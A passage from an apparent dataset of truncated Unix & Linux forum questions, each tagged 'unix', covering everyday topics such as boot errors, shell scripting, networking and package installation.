day. Rather than waiting whole days (and getting here at 2:00 AM), I'd like to change the time. But I'd rather not ... ",['unix'] "Title: Can I run a command after the user uses Ctrl-C to kill a command? Body: So at my position we use a shared set of aliases to do builds. Something like... alias 'build'='cd $BUILD_ROOT; m; cp ...; cp...; deploy; deploy; deploy; cd -' This is super irritating because the ... ",['unix'] "Title: Unable to ping a Windows machine from Linux [migrated] Body: I have Windows installed on my laptop, connected to the router wirelessly with IP 192.168.1.5. My desktop is running Linux, connected to the same router (wired) with IP 192.168.1.2. When I do a ping ... ",['unix'] "Title: How to permanently disable Orca on Debian Wheezy? Body: How do I permanently disable the GNOME screen reader (""Orca"") on Debian Wheezy, without breaking GNOME? I'm running Xfce. Things I have tried, or looked at: I found the command gsettings set ... ",['unix'] "Title: List a directory but only if it contains sub-directories? Body: In Unix, is it possible to use one command ONLY to list directories if they contain a sub-directory? For example, I would like to list the directory name if it contains a sub-directory called ... ",['unix'] "Title: Is there a standard POSIX way of doing `tac` [duplicate] Body: Looks like at least IBM AIX and HP-UX don't have the tac command by default. Is there a way to do this using just basic posix standard shell utilities available on all UNIX systems? Furthermore, is ... ",['unix'] "Title: Where does this convention for quotation marks (`` …'') come from? [closed] Body: Frequently I get asked the question: ``K., where does this convention for quotation marks come from? You know, the one with the two grave accents introducing a quoted string and two regular ... ",['unix'] "Title: System cannot boot, continiously scanning btrfs filesystem Body: On the previous boot I installed HAL to make amazon prime video streaming work, which it did (mostly), but after reboot the system could not pull itself up all the way to BASH and drops to a failed ... ",['unix'] "Title: X Starting Instead of Openbox (Arch) Body: I recently installed Arch for the first time in VMWare Workstation 9.0.2, twice (I reinstalled to change some partition sizes). In the first installation I was able to start Openbox instead of X when ... ",['unix'] "Title: iptables: what the difference between filter and mangle Body: I am using iptables to to mark the package and want to route based on the marks. First I added the ip rule: sudo ip rule add fwmark 1 prohibit (The ""prohibit"" is just for test, I will change it ... ",['unix'] "Title: How to compile LXDE on OpenIndiana - how to deal with those AM errors in lxde-common-qt? Body: OI is latest 151a7. Fresh install, total newbie, installed ss-dev, gcc-dev, sunstudio, a few other packages I thought were relevant based on what I read. Just want to compile LXDE from source because ... ",['unix'] "Title: Building GDB, cant find libreadline.a Body: I am trying to build GDB from source, and am encountering a strange problem. I'm not sure what information is relevant, so please let me know if I have not provided enough. I am working on Linux ... ",['unix'] "Title: Setting DISPLAY in systemd service file Body: Im trying to learn systemd services by trying to start xclock as a service, the service file is below [Unit] Description=clock [Service] Environment=DISPLAY=:0 ExecStart=/usr/bin/xclock [Install] ... ",['unix'] "Title: Wireless driver crashes when I'm too close to Access Point Body: This is the opposite of your usual WiFi problem: my signal strength is too high, now too low. Ever since I upgraded my access point to an Asus RT-AC66U, the WiFi driver for my Lenovo Y480 crashes ... ",['unix'] "Title: How to recompile exim4-daemon-heavy? [duplicate] Body: I have had a few problem with exim4 and various phone mail clients (Windows Phone in particular) that seem to result from bad mail clients together with GnuTLS. I'd like to recompile ... ",['unix'] "Title: setting up sendmail on debian? Body: I have a LAMP localhost server setup for some development and I want to test out if my code is working. Some of the tests involve checking if the correct emails are sent out by the code at the ... ",['unix'] "Title: Can you pipe to a .bash_profile function? Body: I received a great function for highlighting files in Apple's finder using the command-line. It's basically a wrapper for osascript. I got it from Mac OS X: How to change the color label of files ... ",['unix'] "Title: Printing lines from one file if part of them appears in another. Both files are millions of lines long Body: I have two files, let's call them 123.txt and 789.txt. 123.txt is 2.5M lines long, and 789.txt is 65M lines long. Is there any way to use grep or similar to keep any lines from 789.txt that contain ... ",['unix'] "Title: How to return the directory of a given executable? Body: If I want to return the path of a given executable, I can run: which mysql Which returns for example: /usr/bin/mysql I'd like to return only: /usr/bin How can I do that? ",['unix'] "Title: How to auto log on with root user in Fedora? Body: I'm a newbie in Linux, and I want to enable auto log on with root user for specific purpose. It's so bored when every time I power on my PC to study and I have to input user and password. ",['unix'] "Title: Unkillable process after connection lost to Samba share? Body: Using this manual I've mounted a Samba share. I'm copying files to it using a Python script. Everything is working fine until some problem with the network occurs. After that I get unkillable ... ",['unix'] "Title: Restrict FTP user to a directory Body: Sorry if this is an obvious question, but I don't have a lot of knowledge about this sort of thing, and I've googled for hours, nothing worked. So on a Ubuntu 11.04 server, I want to restrict a user ... ",['unix'] "Title: Issue with path to .so libraries Body: I have an issue with path to .so files. I have a server with two accounts user1 and user2. There is wget program, that is installed to user1 and I need it from user2. When I run it from user2 I get ... ",['unix'] "Title: How to kill a script which starts new processes? Body: The following is a Python application which spans a few threads, then spawns a new process of itself and exits: $ cat restart.py import os import random import signal import sys import threading ... ",['unix'] "Title: Creating UFW rule to allow application to use dynamic ports Body: I am currently trying to get a Google Chromecast device to work through my Ubuntu 13.04 based computer. Currently, the Google Chrome extension shows ""no devices found"" as long as my UFW firewall is ... ",['unix'] "Title: binding ip address to hostname Body: I just registered a domain name and paid for hosting with CentOS and I found that I had to do the binding myself following the lengthy steps http://www.linux-sxs.org/internet_serving/bind9.html I was ... ",['unix'] "Title: Allowing a domain name in my IP Tables Body: I have a Linux server that gets a time offset for some strange reason. I set up cron job to run and update the time using the following command: /usr/sbin/ntpdate pool.ntp.org The problem is the ... ",['unix'] "Title: How can I clear portion of what is typed into the prompt while working on Linux and using C-shell? Body: I am working in Linux and C-shell. Often times I would require to change some portion of what is there already in the prompt that I obtain from reverse searching through the history command by use of ... ",['unix'] "Title: Can't Change CUPS password Body: I am running CrunchBang based on Debian 6. I can't do anything printer related. It is saying I am unauthenticated. I have tried: family@familydesktop:~$ sudo lppasswd -a family Enter password: Enter ... ",['unix'] "Title: Can I see in history output from which directory I had actually issued a command? Body: CTRL+R allows me to reverse search through the command history which is great but can I also find out from which directory that command was run? I am using C-shell in Linux. ",['unix'] "Title: Error sending message, child exited 71 (Operating system error) Body: I'm trying to send mail through mutt command. I got the error message Error sending message, child exited 71 (Operating system error.). I was able to send email through this command earlier, but ... ",['unix'] "Title: Why gnustep-config outputs nothing for any parameter? Body: Regardless of what I run: gnustep-config --debug-flags gnustep-config --objc-flags gnustep-config --base-libs It outputs nothing. How would I debug this? PS: the OS details: Ubuntu 12.04.2 LTS, ... ",['unix'] "Title: In Bash scripting, what's the meaning of “ $! ”? Body: If I'm assigning a variable with temp=$! what would it be its value? ",['unix'] "Title: Who was James Farber and why was he important to Unix? Body: I've been reading papers on Plan 9 from Bell Labs. In the paper on why Plan 9's not dead yet, around page 18, the author mentions ""Farber"". Googling reveals this to be a James Farber, but all I can ... ",['unix'] "Title: What value is stored in linux xtime variable? Body: Whenever I print the value of /proc/interrupts the value of rtc0 in IRQ8 which is for RTC shows only 1 interrupt on CPU0. I have read that when booting the value of the xtime variable is stored from ... ",['unix'] "Title: Can't ssh to beaglebone? Body: After I did: route add default gw 192.168.7.1 I also changed /etc/resolv.conf: nameserver 192.168.7.1 in order to share internet between Ubuntu in VMware. I've got internet working but after a ... ",['unix'] "Title: Grey background in vncviewer remote desktop Body: I keep getting a grey background in my VNC viewer on my VPS, like so: My .vnc/xstartup is as follows: #!/bin/sh unset SESSION_MANAGER exec /etc/X11/xinit/xinitrc gnome-session ... ",['unix'] "Title: timeout without killing process in bash Body: I have a main script that I'm running, and from it I have a second ""slow process"" I want to kick off, and ""do something"" in the main script if it doesn't complete in the time limit -- depending on if ... ",['unix'] "Title: Configure courier to forward certain mails to external addresses Body: I have a debian 6.0 server with courier/courier-mta set up and some local domains. Now I want to create some forwards for some email address that should go directly to external addresses as there are ... ",['unix'] "Title: How to make the command mult-iline? Body: The following command: thunderbird -compose to=abc@example.com,subject=testmail,body=""something"" works, but only if it has no comma in the body tag. It works with: ""dsafdsafcc \/sda/fads ;.f af af ... ",['unix'] "Title: Given a CSV file, how do I delete the content between the 2nd and 3rd tabs of each row? [duplicate] Body: I am using a mac and I have a CSV file delimited by tabs. I want to just remove all the content between the 2nd and 3rd tabs or replace it with something like ""XXXX"". Is there a command for this? ",['unix'] "Title: useradd --no-log-init [comprehension question] Body: TLDR: How is useradd --no-log-init actually used [in GNU/Linux [Debian]? I read the command's man and info page about this option as: »user will not be listed in the lastlog and faillog files ... ",['unix'] "Title: How to convert UTF-8 txt files to all uppercase in bash? Body: I have some UTF-8 .txt files which I would like to convert to all uppercase. If it was just ASCII, I could use: tr [:lower:] [:upper:] But since I'm working with diacritics and stuff, it doesn't ... ",['unix'] "Title: Executing 'ssh-add -D' from a cron job doesn't work Body: I've set up an openSSH server on an ubuntu-server machine, and I configured it to use public/private key (without password). I want to require both password and key check when the client connects to ... ",['unix'] "Title: tsocks doesn't redirect connection Body: After installing tsocks using slackbuilds I made /etc/tsocks.conf by the parameters for using tor. server = 127.0.0.1 server_port = 9050 server_type = 5 Then I tried tsocks firefox to check it. But ... ",['unix'] "Title: apt-get install errors on upgrade [closed] Body: OS: Debian Squeeze: 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux deb http://ftp.be.debian.org/debian stable main deb http://ftp.debian.org/debian/ squeeze-updates main deb ... ",['unix'] "Title: Is it bad to have filesystems nearly full? Body: Example I have large/small sized filesystems JFS2/EXT3, whatever (and various OS, Linux, AIX), but some of them are on ex.: 90%, 95%, 98% usage. Questions: Having filesystems nearly full does ... ",['unix'] "Title: Can we run objective c on UNIX operating system? [duplicate] Body: How can I run objective c on Unix systems? ",['unix'] "Title: What is meant by interrupt remapping in Linux? Body: Can anyone explain what the interrupt remapping is? Would turning this feature off in the Linux kernel cause any problems, or bring any benefits? ",['unix'] "Title: What are the minimal KDialog dependencies (packages) for a Gnome 2 desktop system? Body: I want to run a KDialog application under Gnome on Linux Mint 9 on a low powered netbook. I know I'll need to install some KDE packages. I want to install the fewest packages possible — just ... ",['unix'] "Title: What is the solution for the error grub rescue/no file system found? Body: I am using DELL-INSPIRON 15R with dual bootage of windows8 and linux mint olivia 15. It has been working properly since it was installed. Now, it is showing the error that ""no file system found. grub ... ",['unix'] "Title: Zsh completion, enabling shift-tab Body: When zsh shows you a menu of possible completions, I'd like it to let me use shift-tab to access previous completion entries--is there an option that controls what key is used to access previous ... ",['unix'] "Title: delete files matching pattern Body: I need to recursively remove all files in all subdirs where the filename contains a number followed by an 'x' followed by a number, at least two times. Example: I'd want to remove these files: ... ",['unix'] "Title: LAN server with two network cards, can't telnet / ping to the second even if it works Body: I have an issue with an Ubuntu 12.04 LTS (updated) server. For reasons too long to detail, it has got one eth0 interface assigned to 192.168.1.9 and one Wifi wlan0 interface assigned to 192.168.1.10. ... ",['unix'] "Title: Best practices for packaging self created software for Debian Body: I've got Debian packaging for a piece of software I've written. This software probably is too specialized to be part of Debian. In any case, for now I have no plans to try to include it in Debian. ... ",['unix'] "Title: What is Archive field in Release file used for? Body: For example current Release file for Wheezy is following: Archive: stable Origin: Debian Label: Debian Version: 7.1 Component: main Architecture: amd64 Now I can't find description of this Archive ... ",['unix'] "Title: Pinning and local repos Body: I can't quite wrap my head around pinning in Debian. I'm trying to automatically install a package first from our local project repo, then from our local stable repo and then from official Debian ... ",['unix'] "Title: How can I recover damaged file from overwritten ext4 partition? Body: My disk, which was previously ext4 has been formatted and Windows has been installed. I want to recover my previous files (family photos, ..) and I tried everything I could find on the internet. I ... ",['unix'] "Title: Are there any Linux distros that protect against “self-mutilation”? [closed] Body: Over the past week I have installed and reinstalled Linux several times (Mint 15 in all but one case; Ubuntu 13.04 is too slow on my laptop), and after a mishap with QT today I completely gave up in ... ",['unix'] "Title: Installing Linux distros manually from live cd without installer Body: I am trying to install a debian based linux and I think its installer is broken. The live cd works fine, but the setup process always gets stuck at 9% and shows an error (""can't complete setup""). Is ... ",['unix'] "Title: How dbus calculates machine id? Body: How DBus calculates machine id? (/etc/machine-id, /var/lib/dbus/machine-id). Which way is more correct to determine it? ",['unix'] "Title: Uninstall Aptana from Ubuntu Body: Can someone please tell me how to uninstall Aptana from ubuntu 12.04 LTS? I followed these instructions, in summary: Install the prerequisites with apt-get install. Download Aptana Studio Extract ... ",['unix'] "Title: Why does the httpd user needs password? Body: I recently found that the httpd user has password set. Can someone imagine why does password needed for a httpd user on UNIX systems? ",['unix'] "Title: Can I use Gnome 3 Shell “Activities” hot corner in VMWare Player VM? Body: I have Fedora 19 running Gnome 3 Shell installed on my laptop, and in a virtual machine running inside VMWare Player on my desktop. The VM has the proprietary VMWare tools and is up to date as of ... ",['unix'] "Title: how does /etc/init.d/networking restart cause wpa_supplicant to be run using the previous configurations? Body: Background: I use Debian Lenny and have two WiFi interfaces. I use a generic configurations on /etc/network/interfaces iface wlan0 inet static address 10.0.0.1 network 10.0.0.0 ... ",['unix'] "Title: Replace all occurences of \ except \N Body: I have a file like this: 1,2,subjects,\mat\hs,unix\,\Nato,\N,123,\N I want to replace all occurences of \ with #, except for \N, such that the output looks like this: ... ",['unix'] "Title: iptables string not dropping packet from tcp streams while using conntrack and string Body: I'm facing an unusual issue where specific TCP steams are not getting dropped by iptables; instead it's like iptables is just removing those specific packets. We're getting the following traffic: ... ",['unix'] "Title: mv files to a different path which is constructed via a regex replacement Body: I have a directory full of files stored in subdirectories according to their filename, i.e.: 20d1/d325/52d1/20d1d32552d1a95249e62662fbdf924dd72c4027.jpg ... ",['unix'] "Title: aufs with lower writable branch Body: I'm trying to hide some directories on a mounted file system (it's not about security, just aesthetics). I've mounted the file system regularly on /mnt/data and wanted to use aufs to overlay a ... ",['unix'] "Title: Configure colors of QT programs via .Xdefaults Body: I currently have the colors in my .Xdefaults set like this: *background: S_base03 *foreground: S_base00 Because I didn't specify the name of my Terminal emulator, the ... ",['unix'] "Title: problem with installing packages Body: I get these messages when I run this command: # yum install pcre pcre-devel php php-common php-gd php-cli php-mysql flex bison Loaded plugins: product-id, refresh-packagekit, security, ... ",['unix'] "Title: Choppy sound when recording sound from my microphone Body: I've just installed a fresh copy of Linux Mint 15 and so far everything is working ok, but sound from my mic. While talking on skype or just recording the sound produced is very very choppy. I tried ... ",['unix'] "Title: Backreferencing with sed Body: I have a database containing a list of unsigned longs representing a bunch of memory addresses followed by an offset within two brackets (e.g. Mem[offset], 0x2322AD4[3]), and some other data. What I ... ",['unix'] "Title: Driver for Canon i-SENSYS MF3010 Body: In the specifications for Canon i-SENSYS MF3010 http://www.canon-europe.com/For_Home/Product_Finder/Multifunctionals/Laser/i-SENSYS_MF3010/ it is mentioned the printer is compatible with GNU/Linux. ... ",['unix'] "Title: GRUB Black Screen Problem Body: A Couple days ago I bought a laptop with NVIDIA G105M and Intel Core Duo Inside which has Windows 7 default. As a Linux fan, I wanted to install Ubuntu to my laptop and I plugged in my old live USB ... ",['unix'] "Title: Arch Linux: Unsatisfied dependences: open-vm-tools-modules requires linux<3.10 Body: pacman refuses to upgrade my Arch Linux system because of a conflict between open-vm-tools-modules and the linux kernel package: $ sudo pacman -Syu :: Synchronizing package databases... core is up to ... ",['unix'] "Title: I get this shutdown prompt, then my laptop dies. What is happening? Body: I get a dialog box that says 'Shut down the system now', the same as if I had clicked 'quit' in the main menu. This happens seemingly randomly. If I choose 'cancel', it sometimes goes away. Other ... ",['unix'] "Title: Installing Domjudge in Fedora 19 Body: I tried to install Domjudge in Fedora 19 (based on its documentation) and it installed successfully but when I try to start it in browser (localhost/domjudge) I get the following error: Forbidden ... ",['unix'] "Title: Unable to use ztemf 190A from Aircel in Linux Mint 13 Body: I have installed Linux Lint 13 Mate 32 bit edition. I am not able to use my zte mf 190a 3g datacard given by Aircel as there is no driver for this. I do not know anything about Linux. Modem is shown ... ",['unix'] "Title: whats a good tool to search tail -f output Body: I am dumping some debug info into a text file that I am using tail -f to monitor. Is there a tool that I can then pipe that tail -f data into to be able to search the text on screen using regular ... ",['unix'] "Title: Finding correct information to update mtab and fstab? Body: Is there an automated way to update my mtab and fstab? Or a command I can run so that I can copy the output into these files? I'm just nervous about tampering with these files because I know they are ... ",['unix'] "Title: What is the simplest way to connect to wireless on a Debian system with nothing but essential? Body: I have a Debian Jessie system which, for reasons unrelated to this question, has nothing installed but the set of essential system packages. What is the simplest method for connecting to a wireless ... ",['unix'] "Title: Which book of those two should i read to study networking for Unix/Linux administrator? [closed] Body: I'm quite a beginner to networking, I want to get the information that i need as a Linux/Unix admin. I have two books in hand right now: TCP/IP Illustrated, Volume 1: The Protocols UNIX and ... ",['unix'] "Title: How to fix display error with GNOME Shell on Fedora 19? Body: I got the following problem: Well, just installed Fedora 19 alongside to my Debian installation. While GNOME Shell is working perfectly fine when running with Debian, there are some strange display ... ",['unix'] "Title: Which version of linux to practise unix scripting/programming? [closed] Body: I was using cygwin, but its frustrating to use. It does not have many programs and is confusing. I want to get some linux distro in which I can use bash and run most commonly used commands, scripts ... ",['unix'] "Title: Country flags icons Body: Is there any standard in *nix systems for country flags? Like, icon theme specification. ",['unix'] "Title: Tell a regex expression to skip the beginning of a line before matching Body: If I had a string like 45mb ./aaaa/bbbb/cccc/dddd and I use a regex like [^\/]*\/ it will match 45mb ./aaaa/bbbb/cccc/ I only want it to match ./aaaa/bbbb/cccc/ but I can't figure out how to do ... ",['unix'] "Title: mutt: Use gpgme or classic gpg? Body: Mutt's wiki on GnuPG integration and many other places (like default on Debian) use the classic way of connecting mutt to gnupg. That is, one configures a bunch of commands to call gpg directly. On ... ",['unix'] "Title: Debian on Mac via reFINd: New Partitions doesnt Boot Body: im trying to get on Debian via the refind Bootmanager. I was able to create partitions on HDD (Swap + /) and install Debian, but i couldn't install a bootloader on the installation, nor Grub neither ... ",['unix'] "Title: Preventing script execution and file downloads in a directory? Body: I have a directory on my website where I'm storing files uploaded by users. I use a whitelist for uploaded file types and also save the files with hashed names, but from what I've read another good ... ",['unix'] "Title: Edge cases in filesystem operations during backup and file copy Body: I have a question about file access in Linux that I cannot sum it up completely. Consider that I have a home directory that I backup it using rsync triggered via cron. My home directory is on an EXT4 ... ",['unix'] "Title: Mapping single key (such as 'F1') to multiple keys (such as 'Ctrl+C') in Gnome [duplicate] Body: I know how to map a single key to a command using the gconf settings. I also know how to map a single key to another key ('F1' -> 'CTRL') using Xmodmap. My question is how can I map a single key ... ",['unix'] "Title: Binding domain name to Apache Virtual host on VPS Body: recently company I work for has rented VPS. Now i need to have multiple websites hosted on this VPS, that is not a problem, I'v set up virtual hosts, databses, etc. Now i wanted to test it, see if I ... ",['unix'] "Title: Is there a way to select by several conditions in `ps`? Body: It seems I am missing something blindingly obvious, but still: ps -f -u myuser --ppid 1 Seems to only take a look at parent pid of the process, and returns all the processes that have parent pid of ... ",['unix'] "Title: tcpdump don't show src and dst address Body: I'm having a problem with a tcpdump. The output is: 21:53:53.877873 MPLS (label 266837, exp 0, [S], ttl 255), IP, length: 193 21:53:53.878037 MPLS (label 326819, exp 0, [S], ttl 255), IP, length: ... ",['unix'] "Title: How to take sha-1, sha-256 or MD5 of CDs / DVDs? Body: I just tried burning both a Debian CD and a Debian DVD from their .iso files and I've got a weird behavior: the checksum of the CD is correct but the one of the DVD ain't. Here's what working: ... ",['unix'] "Title: What are the commands that you can use in the beginning of a sed command? Body: I initially learned to do sed search and replace like so: sed -e 's/<stuff>/<replacement>/' However I recently learned that these will do something different based on what command ... ",['unix'] "Title: Is there a way to cd back multiple times in bash? Body: I often use cd - to go back to where I was. How can I do this multiple times in bash? Or would zsh or some other tool support this? ",['unix'] "Title: fail to install kolab dependencies Body: I need some help. I'm trying to setup a kolab sever to be used by computer science students at my college, starting this fall. I had a bit of some trouble setting up ldap, bur after some experimenting ... ",['unix'] "Title: What is this VIM plugin? Body: It's a modified vim bar that includes current path and current git branch. I've been looking around but couldn't find anything. Found in: https://github.com/w0ng/vim-hybrid ",['unix'] "Title: Can one use a md-type raid-0 as a drive for zfs pool Body: I want to play with ZFS at my CentOS. At the moment I have two 750Gb drives and two 400Gb spare drives that I could use. Of course the simplest solution would be to take all of them and use only 400Gb ... ",['unix'] "Title: Openvpn clients can not access to LAN Body: Openvpn: clients connected to server = firewall; but can not access database in LAN I have 5 vlan: vlan 2: 192.168.12.0/24 vlan 3: 192.168.13.0/24 vlan 4: 192.168.14.0/24 vlan 5: 192.168.15.0/24 ... ",['unix'] "Title: How do I keep the .local TLD in my intranet Body: I use vagrant to launch VM's and bridge the network access to my local machine. Unfortunately exvery VM launch gives me a new IP address, and MAC address. I have a domain.local that I use and ... ",['unix'] "Title: how to install eiskaltdc++ on fedora 19? Body: So, recently i switched from ubuntu to fedora. I was using eiskaltdc++ for file sharing before. I have installed linuxdc++ on fedora but that is not working though. I would like to install ... ",['unix'] "Title: No result when using Multiple write file & sed in shell script Body: I would like to swap variables from old file to new file when I use single line like this cat ../oldFile.html | sed ""s@$dayMaxInNew@$dayMaxIn@g"" > newFile There's result from newFile. But When ... ",['unix'] "Title: How does inotify work? Body: According to Wikipedia, inotify is a Linux kernel subsystem which notices changes to the file system. It replaced the previous dnotify. Programs that sync files (such as crashplan, dropbox, git) ... ",['unix'] "Title: find -exec {} vs. find -exec '{}' [duplicate] Body: I noticed in the man pages for find, that the {} always have single quotes around them. find -exec '{}' \; The description states: Notice that the braces are enclosed in single quote ... ",['unix'] "Title: Stop cron sending mail for backup script? Body: I have set up a backup script to back up world data on my Minecraft server hourly using cron, but because the worlds being constantly edited by players, tar was telling me that files changed while ... ",['unix'] "Title: Solaris: how to forward cron e-mails? Body: If a cron job produces output it is e-mailed to the user's account. I would like to redirect this e-mail to another e-mail account. Preferably on a user-by-user basis. I've looked into some options ... ",['unix'] "Title: Bundle my scripts to make an installer in Unix? Body: We've got a PHP script running MongoDB in the background. I want to make it a bundle (Installer) for Unix. I will use it to install the following on any machines: Install Apache, PHP + MongoDB ... ",['unix'] "Title: Fedora 18 detecting non-existent monitor Body: I have an HP Envy dv7 with a dual boot setup of Win 8 and Fedora 18. On 07/22/2013 I updated all packages in Fedora 18 that had updates available. After a reboot, Fedora is now detecting that a ... ",['unix'] "Title: How do I force yum to install without prompting the user, using bash? Body: I'm writing a bash script to install php5.4 and I'd like to automate this for a test VM. The rpm command I have is: rpm -Uvh http://mirror.webtatic.com/yum/el5/latest.rpm yum install php54w Now, in ... ",['unix'] "Title: FreeBSD: Can't install Python 2.7 Body: I can't seem to be able to install Python 2.7 on my FreeBSD system. Here is some info: # portsnap update Ports tree is already up to date. Version: # uname -r 7.1-RELEASE Installation: # cd ... ",['unix'] "Title: How can I access the log via a php script? Body: I have a statistics-file on my apache server on /var/www/vhosts/test/statistics/logs/access_log I tried using echo system('cat /var/www/vhosts/test/statistics/logs/access_log'); in a php ... ",['unix'] "Title: Is it possible to download to files while in a SSH interactive? [duplicate] Body: Here I am, poking around a remote server via SSH, and I want to find out about/read/edit/whatever a file. I don't like vi or other CMI stuff, I want to read it locally. Is there any way I can ... ",['unix'] "Title: Grub video memory settings? Body: I have three monitors. Only two have a display. The solution that worked in the past was to increase the video memory in grub. I lost my old grub.conffile. So, instead of three displays, I only have ... ",['unix'] "Title: linux shell: find -exec in find -exec Body: I want to execute chmod 555 on all files and directories I get with the following command (it returns the directory test and all files and directories in it): find ~/.config/google-chrome -type d ... ",['unix'] "Title: why do I have two different results if I run a program through terminal(as root) or /etc/init.d(or /etc/rc.local) Body: Background: I use Debian Lenny on an embedded device uname -a Linux device 3.4.0 #83 Sun May 26 17:07:14 CEST 2013 armv4l GNU/Linux I have a C code (say my_C_program) that calls a board specific ... ",['unix'] "Title: FuncName(){} vs function FuncName() {} [duplicate] Body: There is two ways to define function in bash script. 1. function FuncName() { echo ""$FUNCNAME"" } 2. FuncName() { echo ""$FUNCNAME"" } So my questions is what's the different between in ... ",['unix'] "Title: Why is the first line comment of .sh file necessary? [duplicate] Body: I was told that the first line shebang (#!/bin/bash) is necessary in the shell script file, and the file won't run accurately without this line. But I tested some scripts. They work just fine without ... ",['unix'] "Title: Where can I find some good documentation for bash printf? Body: man printf, info printf and printf --help are all pretty useless to me; I want an explanation of the FORMAT options. For example, I could use: printf '%s\n' foo bar and get output: foo bar From ... ",['unix'] "Title: Minimize PHP.CGI.Argument.Injection and further hardening of the Centos 6.4 web server Body: We have Centos 6.4 server with a physical firewall. We keep seeing quite an number of PHP.CGI.Argument.Injection is detected by the firewall. On the server itself we have done the basic apache ... ",['unix'] "Title: Korganizer can't store new items Body: I have a Kubuntu recent installation (13.04, raring) and all was well until three days ago, when out of the blue, Korganizer stopped storing new items that I was entering in it. When I try to enter a ... ",['unix'] "Title: How do I install PHP5.4.16 on Debian Wheezy? Body: I used to be able to install php-5fpm=5.4.16-1~dotdeb.1, but it seems that this package is no longer available from the latest dotdeb packages. Here are the steps I tried. Append the following two ... ",['unix'] "Title: chkconfig does not display runlevel links correctly Body: I am using chkconfig to manipulate runlevel links on my Debian System (LSBInitScripts). I have noticed some inconsistencies, for example According to chkconfig, the script umountiscsi.sh is turned ... ",['unix'] "Title: What is a device controller, and where does it fit in between the kernel and the device? Body: Can someone please explain the concept of a device controller (hard disc controller, NEC PD765 compatible controller etc.). Here are some definition of key terms which might be needed for the ... ",['unix'] "Title: Setting a variable whose value depends on another variable Body: i have a text file variables.txt where i store my variables host=/srv/www/vhosts/hosting index=$host/index.php as you see the second variables depends on the first one. i also have a ... ",['unix'] "Title: CentOS use .pac file as proxy Body: I have to use a proxy with authentication to connect to the Internet. But I can't find any solution for this. I have modify my yum.conf, with a lot of possibilities: ... ",['unix'] "Title: Convert OpenSSH private key into SSH2 private key Body: Is there a way to convert existing pair of OpenSSH keys to the SSH2 (ssh.com format) pair of keys? UPD: since there are some answers about ssh-keygen suddenly appeared, I'll explain where I came ... ",['unix'] "Title: How can I pass a whitespace-delimited values file as a series of arguments? Body: Say that I have a file with a list of packages I want to install, separated by spaces or newlines. How can I pass that file to my package manager? ",['unix'] "Title: how to attach to a detached mosh sessions? Body: When I connect using mosh I get the following error: Mosh: You have 2 detached Mosh sessions on this server, with PIDs: - mosh [3700] - mosh [31091] How can I resume one of these sessions? ",['unix'] "Title: Bash - Split the previous commands parameters Body: How would one parse the previous command in bash? Example: root$ ssh foo@1.2.3.4 root$ echo !$ &>/tmp/foo.txt root$ cat /tmp/foo.txt foo@1.2.3.4 Goal: Send just the ipaddress 1.2.3.4 to ... ",['unix'] "Title: Vimrc autosourcing not working Body: My vim configuration lives in $HOME/.vim/vimrc, which is symlinked to ~/.vimrc. Inside my vimrc I have: if has(""autocmd"") autocmd bufwritepost vimrc source $HOME/.vim/vimrc endif But is not ... ",['unix'] "Title: SSH hangs forever? Body: I'm trying to SSH into a remote VM, and the command hangs forever. Before, when I was trying to get some stuff set up on it, I edited /etc/hosts and /etc/init.d, and I'm worried I might have messed ... ",['unix'] "Title: Tail -f the most recent log file Body: In a few spots I got this to work ls -rt /path/to/log/file/ | tail -1 | xargs tail -f But I can't figure out why it won't always work (This is quick fix until I get the log rolling fixed here) ",['unix'] "Title: GRUB no longer can boot the machine (different error messages) Body: When I boot from GRUB, I get various error messages from GRUB, apparently at random : ""invalid arch independent ELF magic"" or ""incompatible license"" or ""file not found"". I can boot from the rescue DVD ... ",['unix'] "Title: how does ssh discover hostnames on the network? Body: We have a server on the company network named serverA, and if I type ssh serverA, it will connect my PC to this server, even though there is no entry for this server in my /etc/hosts, but I used to ... ",['unix'] "Title: Ipadm:operation failed Body: I am studying Solaris 11 in Virtualbox (64bit). I want to create network interface with command: ipadm create-ip net3 But terminal says that ipadm:cannot create interface net3:Operation failed I ... ",['unix'] "Title: ssh to a specific machine within a network [duplicate] Body: I'm frequently transferring files and operating programs via ssh, and often from home. The machine I usually work on is a desktop at work that I cannot ssh to directly unless I'm already connected to ... ",['unix'] "Title: Installing RTL8723AE Wireless LAN drivers on a machine with no internet connection Body: I've bought a netbook with a Realtek RTL8723AE Wireless LAN card, which functions, when I run Windows 7. I can access the Internet only via wireless networks. Now I want to install Linux on my ... ",['unix'] "Title: Where is the Virtual kernel Memory Layout? [duplicate] Body: Specifically, where is the lowmem address range for 64 bit Linux 3.2.0 ? Other posts get it from dmesg. It is not in: /var/log/boot /var/log/dmesg /var/log/kern.log /var/log/syslog ",['unix'] "Title: How to send part of the data through the pipe/file and later interactively? Body: I have a command I want to run, let's call it program. It is an interactive program similar to bash or python REPL. I want to start this program with some predefined input. I tried program << ... ",['unix'] "Title: Unresolved dependencies though the packages are installed (Debian 6 Sqeeze) Body: I'm working with a VirtualBox 4.2.14 VM and Debian 6 Sqeeze as guest system and want to install some PHP modules: root@devmv:~# apt-get install php5-fpm Reading package lists... Done Building ... ",['unix'] "Title: How to design the table in awk? Body: My input file is file1 count month 505 Apr-2010 252 Mar-2010 426 Feb-2010 201 Jan-2010 211 Dec-2009 Same file I want the output like this below +-------+----------+ | count | month ... ",['unix'] "Title: Guide on how to install FreeBSD on a laptop [closed] Body: Is there a guide on how to install FreeBSD on a Laptop with some basic GUI elements or a Desktop Manager? Please assist and I know some more people would want to know this. ",['unix'] "Title: apt-get failed to fetch package Body: I want to install curl on my ubuntu: sudo apt-get install curl It gave the following error: Err http://it.archive.ubuntu.com/ubuntu/ maverick/main curl i386 7.21.0-1ubuntu1 404 Not Found [IP: ... ",['unix'] "Title: How to select a line of text in the archaic terminal browser - Links Body: I poured over this http://links.twibright.com/user_en.html#subsubch-html_options But so far does not seem like there is an key to select a line in the browser running in text mode. I would like to ... ",['unix'] "Title: Use sudo tee with heredoc to append to existing file Body: From Generate script in bash and save it to location requiring sudo we have this method, which I like: sudo tee ""$OUTFILE"" > /dev/null <<'EOF' foo bar EOF However, I would like to use that ... ",['unix'] "Title: Establishing client VNC connection over SSH in one step (e.g., with the -via option) Body: How do I reduce these two commands to one? I am connecting from my client to an x11vnc server and the two commands below already work. I just wish to do it in one step: first command: ssh -fNL ... ",['unix'] "Title: How to boot after RAID failure (software RAID)? Body: Previously I had a software raid set up using (mdadm) of drives sda and sdb. sdb failed and the only way to reboot the system was by unplugging the second hard drive. Now I've added 